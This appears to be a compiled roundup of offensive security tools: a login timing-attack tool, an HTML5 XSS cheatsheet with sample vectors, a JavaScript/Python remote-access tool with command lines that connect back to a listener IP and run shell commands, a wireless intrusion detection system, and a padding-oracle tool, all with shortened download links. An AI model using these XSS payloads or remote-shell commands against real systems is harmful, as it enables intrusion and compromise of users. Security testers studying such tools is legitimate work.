Execute Timing Attacks on Web Applications

The following options must be specified:

• Target URL
• Number of requests to send (per guess)
• Message that displays on the page when there is a failed login
• The username to use when logging in
• The characterset to use
• The variable names of the input fields in the HTML form for the username and password field (POST request username and password fields, defaults to 'username' and 'password')

Additionally, a known correct password can be specified (--poc-password). The timing attack will run until each character matches the known password. If a character does not match, the test will restart from the first character.

To determine the correct parameter names for the request as well as the error message from invalid credentials, view the source of the page you are targeting (and then view the source of the page that displays the error message). 

How to Run  

Download tool : https://goo.gl/paZqRk

HTML5 Security Cheatsheet

The new home of the H5SC or HTML5 Security Cheatsheet. Here you will find three things:

• A collection of HTML5 related XSS attack vectors
• A set of useful files for XSS testing
• A set of formerly hidden features useful for XSS testing  

The XSS Vectors

The collection of XSS vectors can be found here: https://html5sec.org/

Useful Files

We published a list of files useful for XSS testing in various situations. Currently the following files are available:

• https://html5sec.org/test.asf
• https://html5sec.org/test.avi
• https://html5sec.org/test.css
• https://html5sec.org/test.dtd
• https://html5sec.org/test.eml
• https://html5sec.org/test.evt
• https://html5sec.org/test.gif
• https://html5sec.org/test.hlp
• https://html5sec.org/test.hta
• https://html5sec.org/test.htc
• https://html5sec.org/test.html
• https://html5sec.org/test.jar
• https://html5sec.org/test.js
• https://html5sec.org/test.json
• https://html5sec.org/test.mpeg
• https://html5sec.org/test.pdf
• https://html5sec.org/test.sct
• https://html5sec.org/test.svg
• https://html5sec.org/test.swf
• https://html5sec.org/test.vbs
• https://html5sec.org/test.vml
• https://html5sec.org/test.wbxml
• https://html5sec.org/test.xbl
• https://html5sec.org/test.xdr
• https://html5sec.org/test.xml
• https://html5sec.org/test.xsl
• https://html5sec.org/test.xxe
• https://html5sec.org/test.zip
• https://html5sec.org/Test.class

Pull requests welcome, we store the files in the /attachments sub-folder.

Hidden Features

The H5SC currently has three "hidden" features

• An RSS mode to test feed readers: https://html5sec.org/rss
  • /rss/+/ gives a unix timestamp 300 seconds in future (for ease use)
  • /rss/+123/ gives a unix timestamp 123 seconds in future
  • /rss/1234/ will serve a minimal rss feed until unix time is 1234.
• A JavaScript function to return all vectors as string, isolated and numbered: Go here and execute vectors()
• All H5SC vectors in one text file for easy copy & paste
• A useful search API via GET
  • Want all vectors related to innerHTML? Open https://html5sec.org/?innerHTML
  • Want to link a specific vector? Open https://html5sec.org/#123
• A redirect API resolving to a URL containing XSS payload
• Data URI, no special status: https://html5sec.org/r/data/
• Data URI, status code 307: https://html5sec.org/r/data/307
• JavaScript URI, status code 301: https://html5sec.org/r/javascript/301
• Supported status codes are: 301, 302, 303, 307, 308, 999
• Supported schemes are: data, javascript, jar, script (redirecting tohttps://html5sec.org/%3cscript>alert(1)%3c/script>/)  

How to use : 

Vectors making use of HTML5 features

XSS via formaction - requiring user interaction (1)#1test

A vector displaying the HTML5 form and formaction capabilities for form hijacking outside the actual form.

<form id="test"></form><button form="test" formaction="javascript:alert(1)">X</button>

Don't allow users to submit markup containing "form" and "formaction" attributes or transform them to bogus attributes. Avoid "id" attributes for forms as well as submit buttons.

• Firefox 4.0
• Firefox Latest
• Opera 10.5
• Opera Latest
• Chrome 10.0
• Chrome Latest
• Safari 4.0.4
• Safari Latest
• Internet Explorer 10
• Internet Explorer Latest (Inside Form Element)

• xss
• html5
• opera
• chrome
• firefox
• formaction
• javascript
• button

• http://www.whatwg.org/specs/web-apps/current-work/multipage/association-of-controls-and-forms.html#attr-fs-formaction

.mario

Self-executing focus event via autofocus#7test

This vector uses an input element with autofocus to call its own focus event handler - no user interaction required

<input onfocus=write(1) autofocus>

User submitted markup should not contain "autofocus" attributes.

• Firefox 4.0
• Firefox Latest
• Opera 9.0
• Opera Latest
• Safari 4.0
• Safari Latest
• Chrome 4.0
• Chrome Latest
• Internet Explorer 10.0
• Internet Explorer Latest

• xss
• autofocus
• chrome
• opera

• http://www.w3.org/Bugs/Public/show_bug.cgi?id=9602
• http://www.whatwg.org/specs/web-apps/current-work/multipage/association-of-controls-and-forms.html#autofocusing-a-form-control 

more.....https://goo.gl/LCXmL4

The Python Rat Tool

0x00 JSbackdoor

About javascript backdoor please see:

JavaScript Backdoor

JavaScript Phishing

JSRat.ps1

0x01 Description

After studying JSbackdoor thinking about writing a py version, and later found to have a small partner wrote the following address: JSRat-Py

When tested using, in order to be more convenient for the above script has been modified to add the -c parameter can automatically execute commands after the client connection. Specific use is as follows: 

nteractive mode command is as follows :

 python MyJSRat.py -i 192.168.1.101 -p 8080

-u is optional, even for the return url address.

Interactive mode for file upload, download, delete, command execution.

Run mode command as follows :

python MyJSRat.py -i 192.168.1.101 -p 8080 -c "whoami"

Under Run mode, automatically executed after obtaining the specified command shell, use the new new the ActiveXObject ( "WScript.Shell"). The Run (Command, 0, to true) , perform no echo, no bomb box.

Interface as follows:

Send command:

0x02 URL Description

• http://192.168.1.101:8080/connect default back to even address
• http://192.168.1.101:8080/wtf visit this link for client code execution
• http://192.168.1.101:8080/hook browser hook link for some versions of IE

0x03 actual use

CHM + JSRAT = Getshell

Download tool : https://goo.gl/Pp3MNV

Wireless Auditing, Intrusion Detection & Prevention System

WAIDPS is an open source wireless swissknife written in Python and work on Linux environment. This is a multipurpose tools designed for audit (penetration testing) networks, detect wireless intrusion (WEP/WPA/WPS attacks) and also intrusion prevention (stopping station from associating to access point). Apart from these, it will harvest all WiFi information in the surrounding and store in databases. This will be useful when it comes to auditing a network if the access point is ‘MAC filtered’ or ‘hidden SSID’ and there isn’t any existing client at that moment.

WAIDS may be useful to penetration testers, wireless trainers, law enforcement agencies and those who is interested to know more about wireless auditing and protection. The primarily purpose for this script is to detect intrusion. Once wireless detect is found, it display on screen and also log to file on the attack. Additional features are added to current script where previous WIDS does not have are :

·         automatically save the attack packets into a file

·         interactive mode where users are allow to perform many functions

·         allow user to analyse captured packets

·         load previously saved pcap file or any other pcap file to be examine

·         customizing filters

·         customize detection threshold (sensitivity of IDS in detection)

At present, WAIDS is able to detect the following wireless attacks and will subsequently add other detection found in the previous WIDS.

·         Association / Authentication flooding

·         Detect mass deauthentication which may indicate a possible WPA attack for handshake

·         Detect possible WEP attack using the ARP request replay method

·         Detect possible WEP attack using chopchop method

·         Detect possible WPS pin bruteforce attack by Reaver, Bully, etc.

·         Detection of Evil-Twin

·         Detection of Rogue Access Point

The whole structure of the Wireless Auditing, Intrusion Detection & Prevention System will comprise of

Harvesting WiFi Information         [Done]

Intrusion Detection                         [Partially Done]

Intrusion Prevention                       [Partially Done]

Auditing (Testing network)            [Coming Soon]

Other additional item include analyzing of packets, display of captured dump, display network barchart and much more.

How to install 

Download tool : https://goo.gl/t7KXfv

Perl script For Automating Padding Oracle Attacks

PadBuster is a Perl script for automating Padding Oracle Attacks. PadBuster   

provides the capability to decrypt arbitrary ciphertext, encrypt arbitrary plaintext, and perform automated response analysis to determine whether a request is vulnerable to padding oracle attacks.  

How to install : 

Download tool : https://goo.gl/YjFjO4